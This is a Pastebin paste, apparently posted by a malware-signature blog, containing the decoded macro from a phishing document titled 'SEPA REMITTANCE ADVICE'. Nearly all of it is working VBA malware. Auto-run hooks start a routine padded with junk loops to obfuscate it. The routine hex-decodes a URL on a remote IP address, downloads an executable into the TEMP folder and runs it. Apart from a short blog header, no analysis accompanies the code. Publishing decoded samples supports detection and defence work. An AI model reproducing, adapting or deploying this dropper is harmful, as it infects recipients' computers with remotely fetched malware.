Advertisement
Sanesecurity

SEPA REMITTANCE ADVICE decoded

Jan 14th, 2015
557
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.82 KB | None | 0 0
  1. Sanesecurity ClamAV blog: zero hour malware, phishing and scams
  2. A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
  3. http://sanesecurity.blogspot.co.uk/
  4.  
  5. Decoded:
  6.  
  7. Attribute VB_Name = "ThisDocument"
  8. Attribute VB_Base = "1Normal.ThisDocument"
  9. Attribute VB_GlobalNameSpace = False
  10. Attribute VB_Creatable = False
  11. Attribute VB_PredeclaredId = True
  12. Attribute VB_Exposed = True
  13. Attribute VB_TemplateDerived = True
  14. Attribute VB_Customizable = True
  15. #If VBA7 Then
  16. Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  17. "URLDownloadToFileA" (ByVal sdfdsf As LongPtr, _
  18. ByVal dfsdfew As String, _
  19. ByVal szFileName As String, _
  20. ByVal dwReserved As Long, _
  21. ByVal lpfnCB As LongPtr) As LongPtr
  22. #Else
  23. Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  24. "URLDownloadToFileA" (ByVal sdfdsf As Long, _
  25. ByVal dfsdfew As String, _
  26. ByVal szFileName As String, _
  27. ByVal dwReserved As Long, _
  28. ByVal lpfnCB As Long) As Long
  29. #End If
  30.  
  31.  
  32. Sub uiwefds()
  33. Dim PxxgBiNP As Integer
  34. For PxxgBiNP = 0 To 3
  35. Dim NIlZJTAZ As Integer
  36. For NIlZJTAZ = 0 To 2
  37. Dim SkHXFUCU As Integer
  38. For SkHXFUCU = 0 To 9
  39. DoEvents
  40. Next SkHXFUCU
  41. DoEvents
  42. Next NIlZJTAZ
  43. Dim kPqjFzTg As Integer
  44. For kPqjFzTg = 0 To 5
  45. DoEvents
  46. Next kPqjFzTg
  47. DoEvents
  48. Next PxxgBiNP
  49. Dim kYYYffQc As Integer
  50. For kYYYffQc = 0 To 5
  51. Dim ZwNyFHMZ As Integer
  52. For ZwNyFHMZ = 0 To 1
  53. DoEvents
  54. Next ZwNyFHMZ
  55. DoEvents
  56. Next kYYYffQc
  57. Dim iFwnFpAo As Integer
  58. For iFwnFpAo = 0 To 6
  59. DoEvents
  60. Next iFwnFpAo
  61. UGivgHgfdg
  62. End Sub
  63. Sub AutoOpen()
  64. Dim bFcsplDg As Integer
  65. For bFcsplDg = 0 To 7
  66. Dim ShzVbLyO As Integer
  67. For ShzVbLyO = 0 To 5
  68. Dim oQYYiVIE As Integer
  69. For oQYYiVIE = 0 To 9
  70. DoEvents
  71. Next oQYYiVIE
  72. DoEvents
  73. Next ShzVbLyO
  74. Dim zbpkQrDX As Integer
  75. For zbpkQrDX = 0 To 8
  76. DoEvents
  77. Next zbpkQrDX
  78. DoEvents
  79. Next bFcsplDg
  80. Dim kIxlbfDj As Integer
  81. For kIxlbfDj = 0 To 2
  82. Dim dpNiQKzp As Integer
  83. For dpNiQKzp = 0 To 1
  84. DoEvents
  85. Next dpNiQKzp
  86. DoEvents
  87. Next kIxlbfDj
  88. Dim uVEKhVuZ As Integer
  89. For uVEKhVuZ = 0 To 9
  90. DoEvents
  91. Next uVEKhVuZ
  92. uiwefds
  93. End Sub
  94. Sub Workbook_Open()
  95. Dim ftvowRbL As Integer
  96. For ftvowRbL = 0 To 1
  97. Dim fipkKjzB As Integer
  98. For fipkKjzB = 0 To 4
  99. Dim XyjJYqDQ As Integer
  100. For XyjJYqDQ = 0 To 2
  101. DoEvents
  102. Next XyjJYqDQ
  103. DoEvents
  104. Next fipkKjzB
  105. Dim ZvQsURmk As Integer
  106. For ZvQsURmk = 0 To 7
  107. DoEvents
  108. Next ZvQsURmk
  109. DoEvents
  110. Next ftvowRbL
  111. Dim YaKQIzva As Integer
  112. For YaKQIzva = 0 To 8
  113. Dim zbuUTilv As Integer
  114. For zbuUTilv = 0 To 5
  115. DoEvents
  116. Next zbuUTilv
  117. DoEvents
  118. Next YaKQIzva
  119. Dim WfPlofvJ As Integer
  120. For WfPlofvJ = 0 To 4
  121. DoEvents
  122. Next WfPlofvJ
  123. uiwefds
  124. End Sub
  125. Sub UGivgHgfdg()
  126.  
  127. Dim sjACsOEZ As Integer
  128. For sjACsOEZ = 0 To 1
  129. Dim PbqsdXKI As Integer
  130. For PbqsdXKI = 0 To 2
  131. Dim OYRHxAZy As Integer
  132. For OYRHxAZy = 0 To 8
  133. DoEvents
  134. Next OYRHxAZy
  135. DoEvents
  136. Next PbqsdXKI
  137. Dim ZliAaUUv As Integer
  138. For ZliAaUUv = 0 To 7
  139. DoEvents
  140. Next ZliAaUUv
  141. DoEvents
  142. Next sjACsOEZ
  143. Dim hJYYdjbg As Integer
  144. For hJYYdjbg = 0 To 7
  145. Dim jHPjjUXQ As Integer
  146. For jHPjjUXQ = 0 To 7
  147. DoEvents
  148. Next jHPjjUXQ
  149. DoEvents
  150. Next hJYYdjbg
  151. Dim pRfzMFar As Integer
  152. For pRfzMFar = 0 To 6
  153. DoEvents
  154. Next pRfzMFar
  155. dgjkhsd = HexToString("6874")
  156. hdsfhjk = HexToString("74703A2F2F")
  157. dhjkfsd = HexToString("3138382E3133322E3138332E3137383A383038302F6D6F7073692F706F7073692E706870")
  158. ewrwedsf = dgjkhsd + hdsfhjk + dhjkfsd
  159. Dim mgubxnIb As Integer
  160. For mgubxnIb = 0 To 8
  161. Dim YMlEFDdK As Integer
  162. For YMlEFDdK = 0 To 2
  163. Dim XqVdlrWe As Integer
  164. For XqVdlrWe = 0 To 5
  165. DoEvents
  166. Next XqVdlrWe
  167. DoEvents
  168. Next YMlEFDdK
  169. Dim GVZVCpNw As Integer
  170. For GVZVCpNw = 0 To 6
  171. DoEvents
  172. Next GVZVCpNw
  173. DoEvents
  174. Next mgubxnIb
  175. Dim ddFVFiMb As Integer
  176. For ddFVFiMb = 0 To 8
  177. Dim HGgNeqLB As Integer
  178. For HGgNeqLB = 0 To 6
  179. DoEvents
  180. Next HGgNeqLB
  181. DoEvents
  182. Next ddFVFiMb
  183. Dim VVaaqewe As Integer
  184. For VVaaqewe = 0 To 7
  185. DoEvents
  186. Next VVaaqewe
  187. jghdfdfdfw = Environ(HexToString("54454D50")) & HexToString("5C657267667265672E657865")
  188. Dim JIXksrqo As Integer
  189. For JIXksrqo = 0 To 6
  190. Dim ZmuZuJAA As Integer
  191. For ZmuZuJAA = 0 To 7
  192. Dim wpZWyUKh As Integer
  193. For wpZWyUKh = 0 To 8
  194. DoEvents
  195. Next wpZWyUKh
  196. DoEvents
  197. Next ZmuZuJAA
  198. Dim RsHNlmzh As Integer
  199. For RsHNlmzh = 0 To 7
  200. DoEvents
  201. Next RsHNlmzh
  202. DoEvents
  203. Next JIXksrqo
  204. Dim wiPdQCYM As Integer
  205. For wiPdQCYM = 0 To 6
  206. Dim MvQkzilR As Integer
  207. For MvQkzilR = 0 To 1
  208. DoEvents
  209. Next MvQkzilR
  210. DoEvents
  211. Next wiPdQCYM
  212. Dim aUclpNWO As Integer
  213. For aUclpNWO = 0 To 2
  214. DoEvents
  215. Next aUclpNWO
  216. wqewr = URLDownloadToFile(0&, ewrwedsf, jghdfdfdfw, 0&, 0&)
  217. Dim dsfdsf
  218. Dim xajSsvKH As Integer
  219. For xajSsvKH = 0 To 3
  220. Dim XotIOnTN As Integer
  221. For XotIOnTN = 0 To 4
  222. Dim QcgeTjsF As Integer
  223. For QcgeTjsF = 0 To 2
  224. DoEvents
  225. Next QcgeTjsF
  226. DoEvents
  227. Next XotIOnTN
  228. Dim LAclisaB As Integer
  229. For LAclisaB = 0 To 3
  230. DoEvents
  231. Next LAclisaB
  232. DoEvents
  233. Next xajSsvKH
  234. Dim GCOldYPl As Integer
  235. For GCOldYPl = 0 To 3
  236. Dim xpAyowIw As Integer
  237. For xpAyowIw = 0 To 6
  238. DoEvents
  239. Next xpAyowIw
  240. DoEvents
  241. Next GCOldYPl
  242. Dim toTFvQyC As Integer
  243. For toTFvQyC = 0 To 3
  244. DoEvents
  245. Next toTFvQyC
  246. dsfdsf = Shell(jghdfdfdfw, 1)
  247.  
  248. End Sub
  249.  
  250.  
  251. Public Function HexToString(ByVal dsfGHJsdf As String) As String
  252. Dim cRFBGXaI As Integer
  253. For cRFBGXaI = 0 To 3
  254. Dim lqCjoUhY As Integer
  255. For lqCjoUhY = 0 To 5
  256. Dim fJrXjdhr As Integer
  257. For fJrXjdhr = 0 To 7
  258. DoEvents
  259. Next fJrXjdhr
  260. DoEvents
  261. Next lqCjoUhY
  262. Dim ibrXgwUZ As Integer
  263. For ibrXgwUZ = 0 To 6
  264. DoEvents
  265. Next ibrXgwUZ
  266. DoEvents
  267. Next cRFBGXaI
  268. Dim xDNrzEzH As Integer
  269. For xDNrzEzH = 0 To 8
  270. Dim JmAtuSal As Integer
  271. For JmAtuSal = 0 To 1
  272. DoEvents
  273. Next JmAtuSal
  274. DoEvents
  275. Next xDNrzEzH
  276. Dim BEgugREc As Integer
  277. For BEgugREc = 0 To 2
  278. DoEvents
  279. Next BEgugREc
  280.  
  281. For y = 1 To Len(dsfGHJsdf)
  282. Dim AuJDUKFJ As Integer
  283. For AuJDUKFJ = 0 To 4
  284. Dim UvHMzkjr As Integer
  285. For UvHMzkjr = 0 To 1
  286. Dim fHuPigTW As Integer
  287. For fHuPigTW = 0 To 5
  288. DoEvents
  289. Next fHuPigTW
  290. DoEvents
  291. Next UvHMzkjr
  292. Dim uRPwSwPf As Integer
  293. For uRPwSwPf = 0 To 6
  294. DoEvents
  295. Next uRPwSwPf
  296. DoEvents
  297. Next AuJDUKFJ
  298. Dim ezQsDXjM As Integer
  299. For ezQsDXjM = 0 To 3
  300. Dim WadqawBn As Integer
  301. For WadqawBn = 0 To 4
  302. DoEvents
  303. Next WadqawBn
  304. DoEvents
  305. Next ezQsDXjM
  306. Dim dVvhcepx As Integer
  307. For dVvhcepx = 0 To 4
  308. DoEvents
  309. Next dVvhcepx
  310. num = Mid(dsfGHJsdf, y, 2)
  311. Dim PyxhKOLG As Integer
  312. For PyxhKOLG = 0 To 2
  313. Dim hZmZJOoa As Integer
  314. For hZmZJOoa = 0 To 2
  315. Dim ivsfJuvt As Integer
  316. For ivsfJuvt = 0 To 9
  317. DoEvents
  318. Next ivsfJuvt
  319. DoEvents
  320. Next hZmZJOoa
  321. Dim FQeVqElL As Integer
  322. For FQeVqElL = 0 To 6
  323. DoEvents
  324. Next FQeVqElL
  325. DoEvents
  326. Next PyxhKOLG
  327. Dim psmZGKbn As Integer
  328. For psmZGKbn = 0 To 1
  329. Dim AdqmlHZR As Integer
  330. For AdqmlHZR = 0 To 4
  331. DoEvents
  332. Next AdqmlHZR
  333. DoEvents
  334. Next psmZGKbn
  335. Dim maFtCXUC As Integer
  336. For maFtCXUC = 0 To 2
  337. DoEvents
  338. Next maFtCXUC
  339. uGHdsf = uGHdsf & Chr(CDbl("&h" & num))
  340. Dim ibsiUdwv As Integer
  341. For ibsiUdwv = 0 To 7
  342. Dim sVEHRGPJ As Integer
  343. For sVEHRGPJ = 0 To 4
  344. Dim uUvhwdnW As Integer
  345. For uUvhwdnW = 0 To 3
  346. DoEvents
  347. Next uUvhwdnW
  348. DoEvents
  349. Next sVEHRGPJ
  350. Dim NmeaNlTf As Integer
  351. For NmeaNlTf = 0 To 2
  352. DoEvents
  353. Next NmeaNlTf
  354. DoEvents
  355. Next ibsiUdwv
  356. Dim yQiniWGp As Integer
  357. For yQiniWGp = 0 To 6
  358. Dim sagylpuI As Integer
  359. For sagylpuI = 0 To 4
  360. DoEvents
  361. Next sagylpuI
  362. DoEvents
  363. Next yQiniWGp
  364. Dim yFKJVhsa As Integer
  365. For yFKJVhsa = 0 To 6
  366. DoEvents
  367. Next yFKJVhsa
  368. y = y + 1
  369. Next y
  370.  
  371. Dim pswwxpTG As Integer
  372. For pswwxpTG = 0 To 4
  373. Dim bwEKlAom As Integer
  374. For bwEKlAom = 0 To 1
  375. Dim dBxcXWVq As Integer
  376. For dBxcXWVq = 0 To 8
  377. DoEvents
  378. Next dBxcXWVq
  379. DoEvents
  380. Next bwEKlAom
  381. Dim TJtJSTmd As Integer
  382. For TJtJSTmd = 0 To 4
  383. DoEvents
  384. Next TJtJSTmd
  385. DoEvents
  386. Next pswwxpTG
  387. Dim yImZDVeo As Integer
  388. For yImZDVeo = 0 To 7
  389. Dim LoRMzhbw As Integer
  390. For LoRMzhbw = 0 To 7
  391. DoEvents
  392. Next LoRMzhbw
  393. DoEvents
  394. Next yImZDVeo
  395. Dim bxwRxDlo As Integer
  396. For bxwRxDlo = 0 To 3
  397. DoEvents
  398. Next bxwRxDlo
  399. HexToString = uGHdsf
  400. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement